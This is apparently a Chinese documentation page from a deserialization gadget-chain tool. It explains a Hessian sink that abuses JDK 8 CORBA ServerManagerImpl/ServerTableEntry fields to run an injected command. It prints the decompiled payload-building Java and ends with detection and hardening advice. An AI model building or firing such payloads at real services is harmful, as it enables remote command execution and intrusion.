Skip to content

Latest commit

 

History

History
74 lines (61 loc) · 5.7 KB

File metadata and controls

74 lines (61 loc) · 5.7 KB

ServerManagerImpl 命令注入(ServerManagerImpl)

  • 类别:hessian 别名:— 优先级:—
  • 作者:N1ght
  • 依赖:无(仅需 JDK 内置 CORBA 实现类 com.sun.corba.se.impl.activation.*,JDK 8 及带 CORBA 模块的环境)

注:该 gadget 在源码中被标注为 @Deprecated

作用

利用 JDK 自带 CORBA 激活框架中的 com.sun.corba.se.impl.activation.ServerManagerImplServerTableEntry:预先在 ServerTableEntry 上把 stateprocessactivationCmd 等字段布置成「待激活」状态,当上游 Hessian getter 触发 ServerTableEntry 的相关 getter 时,进入服务器激活逻辑并执行预置命令。作为链尾 sink,专供 Hessian 的 getter 触发场景。

链接标签

  • 入口 tagsHessianGetter(承接上游「会调用本对象 getter」的 Hessian 触发环,如 RomeToStringBean2XBeanToString 等)、NotForJavaSerializable(目标 CORBA 类未实现 Serializable,只能走 Hessian、不能用于 Java 原生反序列化)、END(链终点/sink)。
  • 衔接 nextTags:无(本身即 sink)。
  • excludes:无。

源码剖析

@Param(name="命令", description="eg: calc;")
public String cmd = "calc";
public String methodName = "getQueuedJobCountAIX";
public String paramName  = "queuedJobCountAIX";

public Object getObject() throws Exception {
    ServerManagerImpl serverManager = Reflections.createWithoutConstructor(ServerManagerImpl.class);
    HashMap<Integer, ServerTableEntry> hashMap = new HashMap<>();
    ServerTableEntry serverTableEntry = Reflections.createWithoutConstructor(ServerTableEntry.class);
    hashMap.put(1, serverTableEntry);
    Reflections.setFieldValue(serverTableEntry, "state", 2);               // 置为「待激活」状态
    Reflections.setFieldValue(serverTableEntry, "activateRetryCount", 0);
    Reflections.setFieldValue(serverTableEntry, "debug", false);
    Reflections.setFieldValue(serverTableEntry, "activationCmd", "calc");  // 激活命令
    Object process = Reflections.createWithoutConstructor(Class.forName("java.lang.ProcessImpl"));
    Reflections.setFieldValue(process, "handle", 6);                       // 伪造一个已存在的 ProcessImpl
    Reflections.setFieldValue(serverTableEntry, "process", process);
    Reflections.setFieldValue(serverManager, "serverTable", hashMap);      // 挂入 serverTable
    return serverManager;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);   // 告知上游要调用的方法名
    context.put(ContextTag.GETTER_PARAM_NAME_KEY,  this.paramName);     // 告知上游要触发的属性名
    return this.getObject();
}

逐段解释:

  • 反编译输出里的 ServerManagerImpl.class 因简单类名与本 gadget 同名而被 CFR 解析成当前类,真实目标是 CORBA 的 com.sun.corba.se.impl.activation.ServerManagerImpl(含 serverTable 字段的服务器管理器)。代码通过 createWithoutConstructor 绕过构造器直接实例化。
  • 核心是把一个 ServerTableEntry 塞进 serverTable 这个 HashMap,并把它的内部状态机字段布置到「已有进程句柄、待用 activationCmd 激活」的组合:state=2process=伪造 ProcessImpl(handle=6)activationCmd 为要执行的命令。当上游反射调用到该条目的激活/查询类 getter(invoke 里注入的 methodName=getQueuedJobCountAIX、属性名 queuedJobCountAIX)时,ServerTableEntry 内部会走到启动/激活分支,最终以 activationCmd 拉起进程,实现命令注入。
  • invoke 不做包装,仅向 GadgetContext 写入 SPECIAL_METHOD_NAME_KEYGETTER_PARAM_NAME_KEY,供上游 getter 触发环(如 RomeToStringBean2)据此决定「调用哪个方法/枚举哪个属性」,从而精准命中 getQueuedJobCountAIX
  • 已知缺陷(如实标注)getObjectactivationCmd 被硬编码为字面量 "calc",并未使用 @Param cmd 字段。也就是说本反编译版本的 cmd 参数实际不生效,命令固定为 calc;这与其 @Deprecated 状态一致,属遗留/演示用途。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 期望执行的命令,如 calc; calc

注意:如上所述,反编译版本的 getObject 硬编码 activationCmd="calc"cmd 参数当前未被真正读取。

适用版本与原理要点

  • 依赖 JDK 内置 CORBA 激活实现 com.sun.corba.se.impl.activation.ServerManagerImpl/ServerTableEntry。JDK 9 起 CORBA 被模块化剥离(JDK 11 彻底移除),故仅适用于 JDK 8 或仍带 CORBA 的运行时。
  • 目标类未实现 Serializable,只能在 Hessian(按字段无差别反序列化)中构造,无法用于 Java 原生反序列化——对应 NotForJavaSerializable 标签。
  • 需上游提供 getter 触发点(HessianGetter),并按 methodName=getQueuedJobCountAIX 精确调用。

所属预设链

usedInChains 为空——自由构件,未直接出现在预设链。可作为 sink 接在 Hessian getter 触发型 gadget 之后。

关联

  • 上游(tags=HessianGetter):RomeToStringBean2XBeanToString 等能触发目标对象 getter 的 Hessian 环。
  • 同类 sink:SpringExec(Spring 体系的命令执行 sink)。

防御与检测

  • 类指纹:Hessian 流量中出现 com.sun.corba.se.impl.activation.ServerManagerImpl / ServerTableEntry 极不正常,可直接告警。
  • 加固:Hessian 反序列化启用类白名单;JDK 升级到不含 CORBA 的版本可从根本上消除该 sink。